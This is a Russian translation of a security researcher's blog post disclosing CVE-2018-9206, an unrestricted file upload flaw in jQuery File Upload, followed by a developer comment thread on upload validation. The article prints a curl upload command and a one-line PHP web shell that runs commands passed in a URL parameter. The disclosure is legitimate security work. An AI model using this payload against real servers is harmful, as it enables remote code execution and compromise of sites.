Уходящая от вас безопасность

https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html
  • Перевод

Я посетил встречу Messaging, Malware and Mobile Anti-Abuse Working Group (m3aawg.org) в Бруклине, Нью-Йорк. Я ожидал лучшей погоды, чтобы побродить по городу, насладиться конференцией, и широким выбором еды на районе. Я настолько был уверен в ясности неба, что даже не взял с собой ничего от дождя. И всю неделю шел дождь. Это вынудило меня оставаться в моем номере в отеле с бесплатным WiFi и моим рабочим ноутбуком. Я решил потратить это время за исследованием Node.js и их сопутствующих пакетов, доступных на https://www.npmjs.com.


Там есть тысячи пакетов от пользователей, доступные для скачивания и установки в ваш проект. Я поискал в NPM по популярным названиям пакетов, таких как file, backup, download, или upload. Последний поисковый запрос показал мне проект под названием jQuery file upload от пользователя Blueimp. Его описание показалось достаточно интересным, чтобы скачать и исследовать его.


Виджет загрузки файлов для jQuery, с поддержкой выбора нескольких файлов, drag & drop, индикатора прогресса, валидации и предпросмотра изображений, аудио и видео. Поддерживает кросс-доменные запросы, частичный и возобновляемый механизм загрузки файлов с ресайзом изображений на клиентской стороне. Работает в любой серверной платформой (PHP, Python, Ruby on Rails, Java, Node.js, Go и т.д.), которая поддерживает стандартную загрузку файлов через HTML-форму.

Я начал смотреть на исходники пакета и остановил свое внимание на паре PHP-файлов в директории server/php. Файлы назывались upload.php и UploadHandler.php. upload.php вызывал UploadHandler.php, где находился основной код загрузки файлов. Я также заметил, что файлы загружались в директорию files/ в корне веб-сервера. Я написал простую команду с curl и примитивным PHP-скриптом, которые подтвердили мне, что я могу загрузить файл на сервер и затем использовать его, чтобы исполнять команды на сервере.


$ curl -F "files=@shell.php" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php

Где файл shell.php содержит:


<?php $cmd=$_GET['cmd']; system($cmd);?>

Открытие в браузере страницы с параметром cmd=id с тестового сервера вернуло мне id пользователя, от которого запускался процесс сервера. Я предположил, что эта уязвимость не прошла незамеченной и быстрый поиск в Google подтвердил мне, что другие проекты, которые использовали этот код или его производные, оказались уязвимы. Нашлось также и несколько видео, показывающих как атаковать похожие программные пакеты.


Я уведомил автора jQuery File Upload и начал документировать то, что я нашел, для присвоения номера CVE. Вскоре на следующий день несколько смущенный автор ответил мне, спрашивая больше информации, так как он не смог воспроизвести уязвимость в своем тестовом окружении.


После сравнения наших тестовых конфигураций по email, мы обнаружили, что разработчики Apache выключили поддержку .htaccess файлов начиная с версии 2.3.9. Оказывается, это было сделано для улучшения производительности, чтобы серверу не приходилось проверять этот файл каждый раз, когда он обращается к соответствующей директории. Более того, это изменение также было сделано для предотвращения переопределения пользователями настроек безопасности, которые были сконфигурированы на сервере.


Таким образом, Apache имели благие намерения при отключении .htaccess, но их изменения также подставили некоторых разработчиков и их проекты под удар, в частности, если они рассчитывали на настройки безопасности, сделанные в .htaccess.


В случае этой библиотеки, для правильной обработки этой ситуации и исправления уязвимости загрузки файлов CVE-2018-9206, разработчик изменил код так, чтобы он разрешал загружать только файлы изображений.


Эта проблема больше, чем одного проекта


Здесь также стоит заметить, что из-за изменений в Apache, часть из 7,800 остальных проектов могут быть уязвимы к проблеме с загрузкой файлов.



Большинство из этих форков все еще несут оригинальную уязвимость в своем коде. В некоторых случаях уязвимость остается даже после того, как разработчик отредактировал оригинальный код от Blueimp чтобы встроить его в свой проект, так что проекты все еще уязвимы к моему примеру атаки с небольшими вариациями.


Это значит, что если какой-то из этих проектов используется в продакшене, то он подвержен уязвимости загрузки файла с его последующим исполнением. Открывая возможности для кражи данных из приложения, инжекции malware, дефейсу и другим возможностям навредить.


К сожалению, нет возможности точно определить, сколько проектов, форкнутых от оригинального jQuery File Upload все еще активно поддерживаются и применяют изменения, сделанные в основном проекте. Также нет возможности определить, где именно форкнутые проекты используются в продакшене, если такие есть. Более того, старые версии проекта также были уязвимы для проблемы с загрузкой файлов, вплоть до 2010 года.


Заключение


Интернет опирается на множество механизмов защиты, чтобы держать наши системы, данные и транзакции в надежности и безопасности. Если один из этих механизмов внезапно пропадет, это может подвергнуть риску безопасность пользователей и разработчиков, рассчитывающих на него.


Для разработчиков будет хорошей идеей просматривать изменения в системах и библиотеках, на которых они базируют свой проект. В этой статье механизм безопасности, который удалили Apache, повлиял не только на Blueimp-овский Jquery file upload, но и на все его форки и ответвления. Уязвимость повлияла на множество проектов, которые зависят от него, начиная от самостоятельных веб-приложений и заканчивая плагинами к WordPress и другим CMS.


Поделиться публикацией
Комментарии 41
    +13

    На самом деле вышеописанное — это баг апача. Потому что нельзя такую фичу "просто отключить", именно по описанной в статье причине. Для производительности можно сделать много другого — кешировать, проверять наличие .htaccess файлов при запуске и выдавать фатальную ошибку если они были найдены (т.е. вынудить админа либо явно включить поддержку .htaccess обратно, либо ручками удалить все такие файлы — и тогда уже он должен понимать, что делает), реализовать перечитывание этих файлов в фоне отдельным процессом или через inotify, etc. В общем, полно способов улучшить производительность не жертвуя безопасностью такого критичного элемента инфраструктуры как веб-сервер. Основная проблема как раз в том, что все озабочены в первую очередь фичами, во вторую скоростью, а о безопасности начинают думать только тогда, когда из-за её отсутствия начинают происходить инциденты. Поэтому эта идея пока относится к ненаучной фантастике:


    Для разработчиков будет хорошей идеей просматривать изменения в системах и библиотеках, на которых они базируют свой проект.
      0
      Несомненно это баг апача, но эффект он имеет только потому, что это все же уязвимость в библиотеке.

      В целом при построении безопасности нельзя полагаться на 3rd-party программное обеспечение со своими настройками, по крайней мере в ситуации, когда можно на это не полагаться особо не напрягаясь. У апача и раньше мог быть отключен хтаккесс, а может там нгникс был бы установлен, могла отвалиться обработка хтаккесс по разным причинам. При чем последнее на реальных проектах случалось уже и к утечкам приводило (тот же fl.ru если из советстких).

      Файлы надо было загружать или выше корня или переименовывать их при загрузке или класть в базу или закидывать на отдельный домен где в принципе только статика есть или еще что-то… и проблемы бы не было, при чем это был бы уровень безопасности на уровне приложения, без отдачи ответственности за эту безопасность наружу.

      Что касается фикса проблемы методом
      'accept_file_types' => '/\.(gif|jpe?g|png)$/i'
      Мы либу конечно не смотрели, но можем предположить что тут тупо проверяется окончание имени файла на .gif .jpe .jpeg .png при чем это анонсируется как проверка на «графическость» файла.
      Но тогда это крайне кривой способ закрытия уязвимости, т.к.
      Во-первых, тут не проверяется графический ли это файл, только расширение. Поэтому можно и пхп файл загрузить и сги скрипт под этим именем.
      Во-вторых, файл можно загрузить под расширением вида picture.php.png, что при некоторых настройках апача может привести к его выполнению.
      В-третьих, никто не отменяет xss при этом.
        +1
        Во-первых, тут не проверяется графический ли это файл, только расширение. Поэтому можно и пхп файл загрузить и сги скрипт под этим именем.
        А зачем это проверять?
        Валидное изображение может быть валидным PHP-скриптом.
        Но в этом нет ничего страшного.

        Во-вторых, файл можно загрузить под расширением вида picture.php.png, что при некоторых настройках апача может привести к его выполнению.
        Надо иметь доступ к настройкам апача. чтобы это сделать. И с наличием такого доступа уже отпадает смысл так делать.
          –1
          А зачем это проверять?
          Потому что если такая проверка обещана
          для правильной обработки этой ситуации и исправления уязвимости загрузки файлов CVE-2018-9206, разработчик изменил код так, чтобы он разрешал загружать только файлы изображений.

          То будет неправильным ее не делать.

          Надо иметь доступ к настройкам апача. чтобы это сделать.
          Не, надо иметь доступ к настройкам в случае если Вам хочется изменить эту настройку — отключить или включить. Какое ее состояние в абстрактном апаче на абстрактном сайте разработчик не знает, поэтому обязан предполагать что мультирасширение включено.
            0
            То будет неправильным ее не делать.
            Он и сделал, причем не менее надежным способом.

            Какое ее состояние в абстрактном апаче на абстрактном сайте разработчик не знает, поэтому обязан предполагать что мультирасширение включено.

            Если такая настройка сделана администратором, то она сделана специально, и исправление этого со стороны разработчика — это не ожидаемое поведение.
              0
              Он и сделал, причем не менее надежным способом.
              Нет, не сделал.
              Проверка на расширение это одно, проверка того является ли файл картинкой это другое.

              Если такая настройка сделана администратором, то она сделана специально, и исправление этого со стороны разработчика — это не ожидаемое поведение.
              Разработчик не должен исправлять такую настройку, он должен учитывать возможность такой настройки.
                +1
                Проверка на расширение это одно, проверка того является ли файл картинкой это другое.
                Вот только в рамках обсуждаемой проблемы (инъекция PHP кода) первое безопаснее.
                Потому что в первом случае расширение будет не исполняемым при стандартных настройках вебсервера, а второе ни от чего не защищает.

                он должен учитывать возможность такой настройки
                И не придумывать отсебятины. Если так настроили, то значит так надо, нет?
                  +1
                  Вот только в рамках обсуждаемой проблемы (инъекция PHP кода) первое безопаснее.
                  Было заявлено «пройдут только картинки», на деле картинки это или нет не проверяется. Вот и вся проблема.

                  Если так настроили, то значит так надо, нет?
                  Именно поэтому мы и говорим, что скрипт должен учитывать это.
                    0
                    на деле картинки это или нет не проверяется.

                    А как бы вы проверяли? Мне просто любопытно.

                      0
                      imagemagick или gd — в легкой форме получаем параметры картинки (identify / getimagesize), если получили — считаем картинкой. В тяжелой форме создаем изображение из файла картинки и записываем его.
                      О минусах этих подходов знаем, но для наших проектов с головой этого.
                        0

                        Если вы считаете, что "с головой" — это удалить РНР код из изображения, то у меня для вас плохие новости.

                          0
                          в легкой форме получаем параметры картинки

                          это легко обойти.


                          В тяжелой форме создаем изображение из файла картинки и записываем его.

                          а как вы боритесь с шелами в метаданных EXIF? Да и потом, уверен что я смогу заиньектить код так что пройду и эту "тяжелую форму".


                          Как по мне — проблему надо решать иначе.

                            +1
                            FanatPHP

                            Если вы считаете, что «с головой» — это удалить РНР код из изображения, то у меня для вас плохие новости.

                            Мы об удалении PHP кода из изображения вообще ничего не говорили. Вопрос был способе проверки картинка это или нет.

                            Fesor,
                            это легко обойти.
                            Поэтому это и легкая форма:)

                            а как вы боритесь с шелами в метаданных EXIF? Да и потом, уверен что я смогу заиньектить код так что пройду и эту «тяжелую форму».
                            Ваш вопрос был о том как мы делаем проверку картинка это или нет.

                            Вопрос безопасности мы затрагивали в самом начале, позволим себе процитировать
                            Файлы надо было загружать или выше корня или переименовывать их при загрузке или класть в базу или закидывать на отдельный домен где в принципе только статика есть

                            Или если упростить — наше мнение в том, что надо бороться не с загрузкой г-на, а с исполнением залитого в принципе. Заодно это решает проблему «что делать» если вдруг Вам понадобится что бы к Вам заливали пхп скрипты по какой-то причине.
                              0
                              Вопрос был способе проверки картинка это или нет.

                              :)))
                              У вас в самом начале произошла подмена понятий:


                              Но тогда это крайне кривой способ закрытия уязвимости, т.к.
                              Во-первых, тут не проверяется графический ли это файл, только расширение. Поэтому можно и пхп файл загрузить и сги скрипт под этим именем.

                              Этой нехитрой логической конструкцией вы сначала убедили себя, что "проверка на картинку" имеет хоть какой-то смысл в контексте защиты от заливки РНР скриптов (что само по себе неверно), а потом и вовсе дистанцировались от вопроса защиты, что позволило вам встать в красивую позу и заявить, что


                              Мы об удалении PHP кода из изображения вообще ничего не говорили.

                              Хотя и статья, и обсуждение — именно про РНР код в картинках, а совсем не про то как определить, является ли файл валидной картинкой, или нет.

                                0
                                :)))
                                У вас в самом начале произошла подмена понятий:
                                Нет.
                                Процитируем диалог в который Вы встряли
                                edogs: картинки это или нет не проверяется.
                                Fesor: А как бы вы проверяли? Мне просто любопытно.
                                Тут нет ничего вообще про безопасность.

                                вы сначала убедили себя, что «проверка на картинку» имеет хоть какой-то смысл в контексте защиты от заливки РНР скриптов
                                Нет. Мы такого не утверждали и уж тем более не «убеждали» себя в этом.

                                потом и вовсе дистанцировались от вопроса защиты
                                Еще раз процитируем себя же из того поста на который Вы ссылаетесь
                                Файлы надо было загружать или выше корня или переименовывать их при загрузке или класть в базу или закидывать на отдельный домен где в принципе только статика есть или еще что-то… и проблемы бы не было, при чем это был бы уровень безопасности на уровне приложения

                                Какое дистанцирование? Вы там что курили?
                                  0

                                  Ой, во множественном о себе — это была не опечатка. Понятно, вопросов больше нет.

                                    0
                                    Переходить на личности когда нечего возразить является плохой практикой.
                    0
                    PHP скрипт с измененным форматом на формат изображения — будет являться файлом изображения. То, что его не сможет просмотреть человек — не делает его менее файлом изображения, чем он есть.
                0
                Валидное изображение может быть валидным PHP-скриптом. Но в этом нет ничего страшного.

                Вообще-то есть. Чтобы картинка стала валидным PHP нужно ей в конец дописать скрипт либо, возможно, вставить его в мета-теги — точно не помню. И хотя формально в этом ничего страшного нет, но на практике это сильно зависит от множества факторов, в т.ч. на сторонних вебсайтах куда эту картинку будут вставлять. Защита должна быть многоуровневой, поэтому я лично когда писал приём картинок юзеров на сервере не только реализовал проверку формата файла помимо расширения, но и добавил перекодирование картинок на лету (просто преобразование в массив точек, которые потом обратно кодируются в jpg/png/gif файл — без изменения размера/качества картинки, но сам процесс гарантирует что любые данные дописанные в конец оригинального файла либо в его мета-теги будут удалены). И при этом на нашем сервере никакого PHP нет в принципе, но, тем не менее.

                  0
                  точно не помню

                  Вот когда вспомните, и найдете хоть один работающий браузер, в котором сработает такое "дописывание" тогда и пишите свои рекомендации. В вебе и так слишком много слухов и суеверий, зачем их ещё плодить? Пишите только если вы действительно знаете, о чем идет речь и можете воспроизвести уязвимость, о которой говорите.


                  но и добавил перекодирование картинок на лету

                  не помогает

                    0

                    Во-первых, причём тут браузер? Я про браузеры ничего не говорил, речь вообще-то шла о встраивании PHP-кода в картинки, и вот как раз PHP на сервере такие картинко-PHP файлы иногда выполняет как PHP-скрипт, а не просто отдаёт браузеру as is.
                    Во-вторых, вот вам немного (первых попавшихся) ссылок на тему встраивания в картинки всякой фигни, чтобы было меньше слухов и больше фактов:
                    https://www.helpnetsecurity.com/2015/06/02/future-attacks-hiding-exploit-code-in-images/
                    http://stegosploit.info/
                    https://www.howtogeek.com/119365/how-to-hide-zip-files-inside-a-picture-without-any-extra-software/

                      0

                      Понятно. Вы просто написали взаимосключающие параграфы, "Вообще-то [страшное в этом] есть… формально в этом ничего страшного нет", а я уже сам домыслил, что в вашем комментарии была отсылка к конкретному, пусть и устаревшему, эксплойту. Впредь буду внимательнее.


                      Ни в одной из приведенных вами ссылок нет механизма, который приведет к исполнению закодированной информации. А это, как бы, ключевой вопрос в дискуссии "Нет ничего страшного/Вообще-то есть".

                      0

                      А вот ссылочка действительно любопытная, спасибо. Надо бы потестировать, что оно действительно работает… если да, то это заблокировать можно только портя картинку незначительно изменяя цвета всех точек (хватит изменить младший бит, и вряд ли это будет визуально заметно, но, всё-равно, портить оригинальную картинку как-то нехорошо).

                        0

                        Ну или смириться с мыслью что избежать загрузки валидного кода на сайте, который позволяет загрузку изображений, в принципе невозможно, и вернуться к вопросу, что конкретно плохого в наличии такого кода и каким конкретно образом его можно будет запустить.

                          0

                          Не обязательно. Помимо чёрного и белого есть оттенки. Даже если нет возможности заблокировать все способы залить в картинке посторонние данные это ещё не значит что нет смысла блокировать те, которые возможно.


                          Что касается способа запуска этой нагрузки — защита должна быть многослойной, иначе она слишком хрупкая. Так что вне зависимости от наличия дыр в других слоях, которые приводят к запуску нагрузки, на обсуждаемом слое загрузки файлов лучше бы эту нагрузку удалять, насколько возможно.


                          Что касается конкретных примеров — бывают ситуации, когда картинка залитая на наш сайт используется как эксплоит для сторонних сайтов. Данный пример приводится исключительно в качестве граничной ситуации, когда мы в принципе не можем никак помешать выполнению этой нагрузки, но можем помешать залить её на наш сайт. Я лично не уверен, что с этим что-то можно сделать, и даже что с этим что-то нужно делать… но "не уверен" это ещё не синоним "не наша проблема". По факту наш сайт в этой ситуации можно формально обвинить в "распространении эксплойтов" — да, для этого нужно быть больным на всю голову, но мы что, мало таких больных наблюдали за последние годы, в т.ч. среди принимающих и исполняющих законы?

                            0

                            Знаете, я человек простой, в теориях мало что понимаю. Когда мне говорят "вот конкретный пример", то я ожидаю ссылку или описание конкретного случая взлома, обязательно с объяснением механизма. А не рассуждения вида "а вот был случай, кого-то где-то поломали со стороннего сайта, так вот мы в ответе за всех, кого приручили".


                            Если у вас есть конкретный сценарий взлома своего ли сайта, стороннего ли ресурса — я буду рад обсудить стратегию защиты от него. А рассуждения вида "защита должна быть многослойной, а то мало ли чего" я плохо понимаю. Извините.

                    0

                    Не знаю как сейчас, но 6 лет назад эта настройка была включена по умолчанию (Сейчас по ссылке отдается 404, а тогда был вывод РНР скрипта.).
                    Насколько я могу судить, пока это поведение не поменялось.


                    Так что я ещё рекомендую переименовывать файлы при загрузке, т.е. защита обеспечивается проверкой последнего расширения + переименованием.

                  +1
                  Если это был бы баг, то его бы зарепортили и исправили в следующих релизах. Но этого не произошло, потому что все работало как задумано.

                  С другой стороны, соглашусь с вами, так быть не должно. Такие важные изменения должны происходить не в рядовом релизе с багфиксами, а в мажорном, и сопровождаться хорошо заметной записью в release notes, чтобы пользователи знали, на что они обновляются. В идеале – следовать semver, чтобы из номера версии было сразу понятно, ломающие там изменения или нет.
                  0
                  Это просто глобальная проблема высокого стека различных API и обычно неполной определённости логики состояний на некоторых уровнях — надо быть в курсе изменений на всю глубину и понимать что повлечет за собой изменение на каком-то из них. Большинство забивает на контроль — скорость разработки важнее.
                    0

                    По моему, проблема не в .htaccess, а в неправильном конфиге апача, поскольку все возможности локального .htaccess можно задать в общем конфиге. Поэтому и автор оригинальной статьи, и автор проекта борются со следствием, а не с причиной — надо объяснять админам риски и как их избегать.

                      –1

                      Проблема в том, что в 2018 году люди до сих пор насилуют php/apache.

                        +1

                        Учитывая, что в 2018 всё ещё есть работа по Fortran, вряд ли апач и PHP когда-нибудь куда-нибудь пропадут.

                          +1

                          Фортран фортрану рознь. И да, нет ничего стыдного в том что бы писать на фортране.


                          Но согласитесь, новых проектов на кобале вроде как не страртуют уже особо.

                          0

                          В 2018 году модуль MPM prefork/mod_php считаются устаревшими, а MPM worker + php-fpm прекрасно работают не хуже конкурентов и никаким "насилием" не являются.

                          +4
                          Один вопрос. Каким боком тут привязан npm? До кучи, чтобы статья не была унылым приветом из 90х?
                          Или для увеличения куцого объёма ещё на абзац? (Там даже бессмысленное введение есть, но даже это не помогло).
                          Не ставлю минусов за переводы и в этот раз не буду, но это же просто мусор.
                            +2
                            Автор полез искать дырки в популярных js-библиотеках. Где в 2018 году их еще искать, кроме как не в npm?
                              +2
                              Предположим. Но к сути находки большую релевантность имеет его завтрак, чем npm. Так зачем упоминать?

                              И вся статья состоит из какой-то подобной шелухи, если убрать которую, то останется «я нашёл кривой аплоадер». Кстати, способ «исправления проблемы» — тоже та ещё жесть. Хотя чего можно было ожидать после «во всём виноват Apache» (чуваки вообще не в курсе, например, что бывают другие сервера)…

                              Лень смотреть, но верю, что в оригинале это может быть известная статья — но я до сих пор не понимаю, как можно заниматься таким хайпожорством.
                                0
                                Не могу понять что вы имеете в виду. То, что уязвимость не очень значительная, или что ее описание не очень?
                            0
                            Считаю что проблема высосана из пальца. Основная задача JS аплоадера — аплоадить файлы (отправлять данные на сервер) с чем библиотека прекрасно справляется.
                            В комплекте с библиотекой идут скрипты для бэкенда на РНР, python, go чтобы сохранять результаты аплоада. Их основная задача принять и сохранить файл, с чем они так же прекрасно справляются.
                            Так в чём же уязвимость библиотеки если она делает ровно то что задуманно?
                            Все настройки бэкенд скрипта доступны пользователю, где можно и раньше было задать white-list по расширениям файлов, где можно задать папку для аплоада выше корня веб сервера и тд.
                            А полагаться на .htaccess вообще смешно, а если у меня nginx или lighthttpd то получается я всегда был в зоне риска потому что не сумел минимально настроить бэкенд скрипт для аплоада, а использовал вариант «из коробки» который разрешал аплоад любых файлов в папку по умолчанию?
                            Вот если бы бэкенд скрипты которые идут с библиотекой позволяли бы сохранять файл в произвольное место, или например, пропускали файл *.php когда в настройках задано пропускать только *.jpg, или бы разрешали зааплоадить файл размером больше чем задано в настройках, можно было бы говорить об уязвимостях.
                            А так, я лично не вижу уязвимости в том что при настройках «разрешён аплоад любых файлов» — происходит аплоад любых файлов.
                              0
                              Согласен, проблема не очень большая. Большинство продвинутых разработчиков напишут бекенд-обработку самому, это не так сложно. Но хватает и начинающих разработчиков, которые скопируют код примера к себе, подвергая систему риску.

                              В ходе последующих за этим баг-репортом разборок нашелся даже один wordpress-плагин с этой уязвимостью: cxsecurity.com/issue/WLB-2018100153. Именно поэтому защита от дурака в примерах кода лишней не будет.
                                –1

                                Здесь следует добавить, что скрипты, которые идут с библиотекой, являются примерами использования, а не конечным инструментарием.

                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                              Самое читаемое